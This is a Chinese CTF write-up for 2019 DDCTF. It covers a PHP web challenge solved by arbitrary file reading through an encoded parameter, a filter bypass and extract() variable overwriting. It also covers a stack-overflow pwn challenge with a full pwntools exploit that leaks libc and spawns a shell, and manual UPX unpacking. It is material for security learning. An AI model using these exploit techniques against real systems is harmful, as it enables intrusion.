2019DDCTF

web

垃圾pwn手莫得做pwn题只能滚来研究web了,嘤嘤嘤

web1

进去看到地址栏:

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

然后页面是这个样子的

1555131660084

可以发现这个图片是经过加密解密后出来的

那么看看gets参数的构造:jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

可以初步猜测是base64加密,拿去解,发现是两次base64,一次base16

TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

NjY2QzYxNjcyRTZBNzA2Nw==

666C61672E6A7067

flag.jpg

可以发现其实,这个jpg参数就是用来获取资源的名称的,那么我们可以反向利用这个东西把index.php的源码也泄漏出来

构造:

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

1555132057658

发现搞出这么一串东西,拿去base64解密就看到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

然后到了这里,其实就是脑洞了,你得去出题人的博客里找到2018-4-7号的一个博客

1555132144805

说有那么一个文件,叫practice.txt.swp 的,那么我们试试访问吧

1555132185273

就回显了个这玩意,意思就是存在有这个f1ag!ddctf.php文件

那就再去访问一下,但是发现访问不了,原来,index的源码有过滤

1
2
3
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);

那么构造输入f1agconfigddctf.php

就可以绕过从而搞到这个php的源码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

那道这里就简单了

构造一个uid参数和k参数使他们相等就行了

http://117.51.150.246/f1ag!ddctf.php?uid=&k=

搞定,get flag

1555132366212

misc

misc4

这里我其实做的是一个pwn,也是整个ddctf唯一的pwn题(居然被归类到misc,太惨了)

其实还是一个简单题吧,主要漏洞还是栈溢出,打开程序简简单单测试一波就找到了所有的漏洞点

1555153259861

首先一个泄漏,能把libc_start_main和栈的地址给泄漏出来

然后后面输入负数整数溢出,导致一个栈溢出

漏洞点很简单,但是呢,就是有点小细节要注意,在栈溢出跳转的时候需要根据调试设置好一个栈的地址,不然到最后会把你的填充,如aaaa这样的当成一个地址去执行,直接就崩溃退出

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./xpwn"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("116.85.48.105",5005)
libc = ELF("./libc.so.6")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

ru("Enter username: ")
#debug("b *0x8048622")
sd("a"*(0x40))
ru("a"*0x40)
stdout = u32(p.recv(4))
ru("\xf7")
stack = u32(p.recv(4))
print "stdout:",hex(stdout)
print "stack:",hex(stack)
libc_base = stdout-libc.sym["_IO_2_1_stdout_"]
print "libc_base:",hex(libc_base)
system =libc_base+libc.sym["system"]
binsh = libc_base+libc.search('/bin/sh').next()
print "system:",hex(system)
print "binsh:",hex(binsh)
main = 0x08048669
ru("Please set the length of password: ")
sd(" -10")

ru("): ")
#debug()
payload ="a"*0x44+p32(stack+0x18)+"a"*(0x60-0x48)+p32(system)+"b"*4+p32(binsh)
sd(payload)

getshell()

reverse

re1

首先查壳,发现是一个upx的壳,找个工具去脱壳,逆向逻辑,就出来了

1555153578866

逻辑其实很简单,就是找个偏移

实际上对应bss里面的一个数组,从“DDCTF{reverseME}”中找到对应的偏移,就可以得到flag了

1
}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(',27h,'&%$#"!

然后为了学习一下逆向,通过这题学习一下手动脱壳

首先用ollyICE打开程序

1555153844234

可以看到,程序一开头这里就有一个pushad指令,不是常规的程序汇编指令,这个指令的意思是把寄存器的值全部push到栈里面存起来,是一种典型的保护现场的措施

这里我使用esp定律的方法去脱壳

ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP(真正的程序入口点)

按一下f8步过

1555154094732

发现,寄存器的值都放入栈中了,这个时候去栈顶下一个硬件访问断点,到upx壳执行完了以后他就会重新pop出这些值,从而恢复现场,开始进入真正的程序入口

那么我们在栈顶下个硬件访问断点,当这个地址被访问的时候那就说明程序已经快走到oep了

1555154249737

首先在选择数据窗口跟随,看到栈的地址和上面的内容

1555154311409

这里就找第一个下也就是栈顶,找后面的几个也行

接着按f9,执行到断点处

1555154417881

此时,正在执行恢复现场的操作,这个时候应该就快到oep了,这时把原来的断点删掉

f8一步步跟进

一直到一个jmp指令

1555154535049

说明jmp后就是我们真正的oep了,再继续f8

1555154698565

这时,看到了熟悉的正常的汇编指令,这就是oep了

右击选择dump出程序

1555154737080

1555155526267

这时就会生成出一个已经脱壳的程序,虽然不能打开,但是已经可以拖入ida进行分析了

1555155534626